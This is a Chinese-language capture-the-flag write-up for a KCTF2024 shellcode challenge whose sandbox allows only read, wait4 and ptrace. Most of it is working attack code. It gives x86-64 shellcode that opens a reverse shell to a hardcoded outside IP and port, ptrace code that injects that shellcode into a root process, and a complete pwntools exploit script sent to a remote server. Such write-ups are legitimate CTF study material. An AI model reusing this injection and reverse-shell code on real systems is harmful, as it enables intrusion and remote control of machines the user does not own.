KCTF2024第八题——星门 writeup

思路分析

拿到题目,是一道典型的写shellcode的题目,白名单系统调用,只允许 read,wait4 和 ptrace。

沙箱系统调用号白名单首先想到了切架构,但是它题目也有判断架构。因此就只能利用这个 ptrace 去做文章了。

其次应当考虑信息以何种方式回传,因为原进程是连write都不能用的,侧信道也没法,所以便起了一个docker环境去试试。发现启动脚本中。

1
2
3
4
5
6
#!/bin/sh
# Add your startup script

# DO NOT DELETE
/etc/init.d/xinetd start;
sleep infinity;

​ 于是选择让队友先起一个docker环境,然后观察里面可以使用的进程。

发现了进程 sleep infinity,并且占用的 pid 始终保持 20 以内,并且脚本启动就是 root 权限,不用担心附加不上的问题。

最后要去尝试的一点就是该靶机是否出网,静态编译一个 socket 请求对外连接发现完全可行,因此考虑反弹 shell。

代码编写

反弹shell

于是开始着手写 shellcode,先写可以反弹shell的shellcode,这个shellcode是我们要注入到目标进程的。这里为了保证shellcode正确,先编译一个 demo 尝试。

反弹 shell 用汇编去描述其实也非常简单。首先,反弹shell的步骤如下:

  1. 起一个socket套接字
  2. 连接远程服务器
  3. 将标准输入,标准输出,标准错误描述符都重定向到这个套接字描述符。
  4. execve 运行一个 shell 程序。

这四个步骤分别可以对应

  1. socket
  2. connect
  3. dup2
  4. execve

这四个系统调用,稍微了解一下,把参数一传,就可以达到反弹 shell 的目的。

最终我的 shellcode 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
mov edi,1
mov rsi,rsp
mov rdx,0x30
mov eax,1
syscall
/*socket(AF_INET,SOCK_STREAM,0)*/
mov edi,2
mov esi,1
mov edx,0
mov eax,41
syscall

mov r14,0xe14e2b650f270002
mov r15,0x64
mov r12,rsp
mov [r12],r14
mov [r12+8],r15
mov r13,r12
/*connect(sockfd,serveraddr,16)*/
mov edi,eax
mov rsi,r13
mov edx,16
mov eax,42
syscall

/* dup2(fd=3, fd2=0) */
push 3
pop rdi
xor esi, esi /* 0 */
/* call dup2() */
push SYS_dup2 /* 0x21 */
pop rax
syscall

/* dup2(fd=3, fd2=1) */
push 3
pop rdi
push 1
pop rsi
/* call dup2() */
push SYS_dup2 /* 0x21 */
pop rax
syscall

/* dup2(fd=3, fd2=2) */
push 3
pop rdi
push 2
pop rsi
/* call dup2() */
push SYS_dup2 /* 0x21 */
pop rax
syscall

/* execve(path='/bin/sh', argv=0, envp=0) */
/* push b'/bin/sh\x00' */
mov rax, 0x101010101010101
push rax
mov rax, 0x101010101010101 ^ 0x68732f6e69622f
xor [rsp], rax
mov rdi, rsp
xor edx, edx /* 0 */
xor esi, esi /* 0 */
/* call execve() */
push SYS_execve /* 0x3b */
pop rax
syscall

其中 dup2 和 execve 都可以用 shellcraft 生成,socket 和 connect 需要自己配参数,因为你搜网上的教程大概率都是用一堆的宏。shellcraft 似乎不支持这个,所以需要手动去看看那些宏的值是多少。

至于 0xe14e2b650f270002 这个数怎么来的,可以直接 C 编译出去再看看的,C语言的写法是

1
2
3
4
5
6
struct sockaddr_in serverAddr;
int clientSocket = socket(AF_INET, SOCK_STREAM, 0);//TCP listen
serverAddr.sin_family = AF_INET;
serverAddr.sin_port = htons(9999);
serverAddr.sin_addr.s_addr = inet_addr("101.43.78.225");
connect(clientSocket, (struct sockaddr *)&serverAddr, sizeof(serverAddr))

编译,gdb调试

得到对应 ip portserverAddr 的值。

这里需要注意的是,connect 中间需要构造一个 16 字节大小的结构体,然后传指针进去。这里一开始会比较头疼,因为你可能苦于没有确定可写的地址,但是后面想到 rsp 和 rbp 所指向的值通常是可写的,就往里面去写,然后把 rbp 作为这里的第二个参数。

然后就能得到手搓的 connect 代码。

1
2
3
4
5
6
7
8
9
10
11
12
mov r14,0xe14e2b650f270002
mov r15,0x64
mov r12,rsp
mov [r12],r14
mov [r12+8],r15
mov r13,r12
/*connect(sockfd,serveraddr,16)*/
mov edi,eax
mov rsi,r13
mov edx,16
mov eax,42
syscall

将代码注入一个 demo 进程,反弹 shell 成功

注入进程

随后我们需要写一个可以利用 ptrace 将代码注入到另一个进程的 shellcode。

这里把上面编译好的 shellcode 放到 + 0x200 的位置上,方便做循环,然后开始编写注入代码,这里本地调试就假设我们已知我们要注入的进程的 pid。

这里可以写一个被注入进程的 demo。

1
2
3
4
5
6
7
8
#include<unistd.h>
#include<stdio.h>
int main(){
printf("pid=%d\n",getpid());
while(1){
// sleep(1);
}
}

相关 ptrace 的解析,可以看我这一篇文章。首先我们要用 PTRACE_ATTACH 去附加这个进程,这里有一点很坑的地方是,它的第四个参数貌似不是 rcx 是 r10,并且用 shellcraft 生成也是这样,所以我在原有的基础上会加一句 mov r10,rcx

所以第一步

1
2
3
4
5
6
7
8
9
/*save mmap start addr*/
push rdx
/* ptrace(request=0x10, vararg_0=0x64, vararg_1=0, vararg_2=0) */
mov edi,0x10/*ATTACH*/
mov esi,{pid}
mov rdx,0
mov rcx,0
mov eax,SYS_ptrace /* 0x65 */
syscall

第一句是因为调用入口时 call rdx 因此这里先保存 mmap 分配的地址,方便给下面的寄存器使用。

第二步,因为在 ptrace 附加完成之后,进程会被阻塞,所以我们可以趁这个时机将 RIP 后面的代码布置成我们上面编写的 shellcode。所以这一步需要获取 RIP 的值。

ptrace 有获取寄存器的选项,ptrace(PTRACE_GETREGS, pid, NULL, &regs);

第四个参数是指针,我们随便给一个内存区域即可,这里我用了 +0x800 的位置。

1
2
3
4
5
6
7
8
9
mov edi,0xc /*GETREGS*/
mov esi,{pid}
mov rdx,0
pop rcx
push rcx
add rcx,0x800
mov r10,rcx
mov eax,SYS_ptrace /* 0x65 */
syscall

接下来是获取当前目标进程 RIP 的值,这里可以直接看结构体定义算偏移,也可以直接 gdb 起一个看看偏移,实际它在结构体的偏移是 +0x80。

1
2
3
4
5
pop rcx
push rcx
add rcx,0x880
mov rdx,[rcx]
/*RIP offset*/

接下来就用汇编写一个循环,ptrace 一次读写内存都是 8 个字节,并且需要注意的是,在写数据的时候,第四个参数不作为指针,而是直接作为一个字的数据被写入。

最后一点需要注意的是,shellcode 写入完成之后,要主动让进程脱离调试器,如果不管的话附加的进程死亡会导致被附加的进程一起死亡,shellcode不一定能被执行。

本地调试的时候可能会有一点麻烦,如果进程异常退出基本很难查到问题所在,因为一个进程不能同时被两个进程调试,因此我们需要调试附加的进程,每一次 ptrace 调用时查看返回值是否 <0,我遇到的比较多的是返回 -5,当时是一个内存写入错误,仔细一查发现是汇编代码写错了一个,导致取到了错误的地址。

最终EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
from pwn import *
if len(sys.argv)!=2:
print('usage: exp.py pid')
quit()
context.arch='amd64'
serveraddr=[0xe14e2b650f270002,0x0000000000000064]
#server struct
#target ip: 101.43.78.225:9999
#p=process('./test')
p=remote('47.101.191.23',9999)
#p.recvuntil('0x')
#addr=int(p.recv(12),16)

addr=0x7f0000000000
inject_shellcode=f'''
/*socket(AF_INET,SOCK_STREAM,0)*/
mov edi,1
mov rsi,rsp
mov rdx,0x30
mov eax,1
syscall

mov edi,2
mov esi,1
mov edx,0
mov eax,41
syscall

mov r14,0xe14e2b650f270002
mov r15,0x64
mov r12,rsp
mov [r12],r14
mov [r12+8],r15
mov r13,r12
/*connect(sockfd,serveraddr,16)*/
mov edi,eax
mov rsi,r13
mov edx,16
mov eax,42
syscall

/* dup2(fd=3, fd2=0) */
push 3
pop rdi
xor esi, esi /* 0 */
/* call dup2() */
push SYS_dup2 /* 0x21 */
pop rax
syscall

/* dup2(fd=3, fd2=1) */
push 3
pop rdi
push 1
pop rsi
/* call dup2() */
push SYS_dup2 /* 0x21 */
pop rax
syscall

/* dup2(fd=3, fd2=2) */
push 3
pop rdi
push 2
pop rsi
/* call dup2() */
push SYS_dup2 /* 0x21 */
pop rax
syscall

/* execve(path='/bin/sh', argv=0, envp=0) */
/* push b'/bin/sh\x00' */
mov rax, 0x101010101010101
push rax
mov rax, 0x101010101010101 ^ 0x68732f6e69622f
xor [rsp], rax
mov rdi, rsp
xor edx, edx /* 0 */
xor esi, esi /* 0 */
/* call execve() */
push SYS_execve /* 0x3b */
pop rax
syscall
'''
#print(len(asm(inject_shellcode)))
inject_shellbytes=b'\x90'*6+asm(inject_shellcode)
print('inject_shellcode: '+hex(len(inject_shellbytes)))
pid=sys.argv[1]
shellcode=f'''
/*save mmap start addr*/
push rdx
/* ptrace(request=0x10, vararg_0=0x64, vararg_1=0, vararg_2=0) */
mov edi,0x10/*ATTACH*/
mov esi,{pid}
mov rdx,0
mov rcx,0
mov eax,SYS_ptrace /* 0x65 */
syscall

test ax,ax
jnz fail

mov edi,0xc /*GETREGS*/
mov esi,{pid}
mov rdx,0
pop rcx
push rcx
add rcx,0x800
mov r10,rcx
mov eax,SYS_ptrace /* 0x65 */
syscall

pop rcx
push rcx
add rcx,0x880
mov rdx,[rcx]
/*RIP offset*/
pop rcx
add rcx,0x200
push rcx
/*inject shellcode*/
push rdx
mov rbx,0x100
loop:
pop rdx
pop rcx
push rcx
push rdx
mov edi,4/*pokedata*/
mov rsi,{pid}
mov r10,[rcx]
mov eax,SYS_ptrace
syscall
pop rdx
pop rcx
add rcx,8
add rdx,8
push rcx
push rdx
sub rbx,8
test rbx,rbx
jnz loop

mov edi,7
mov rsi,{pid}
mov rdx,0
mov r10,0
mov eax,SYS_ptrace
syscall
mov edi,17
mov rsi,{pid}
mov rdx,0
mov r10,0
mov eax,SYS_ptrace
syscall


fail:
'''
payload=asm(shellcode).ljust(0x200,b'\0')+inject_shellbytes

#payload=inject_shellbytes

#gdb.attach(p)
p.send(payload)

#p.close()
p.interactive()

当时试了一个 pid=17 就反弹成功了。

后话

其实这题解法应该挺多的,因为直接给了 root 权限,所以直接去写启动的二进制文件也不是不可以,把沙箱代码 patch 掉直接shellcode执行 sh,或者不用反弹shell,直接 orw 出了 flag udp 直接发过来也可以,总归它出网想要外带信息还是非常容易的。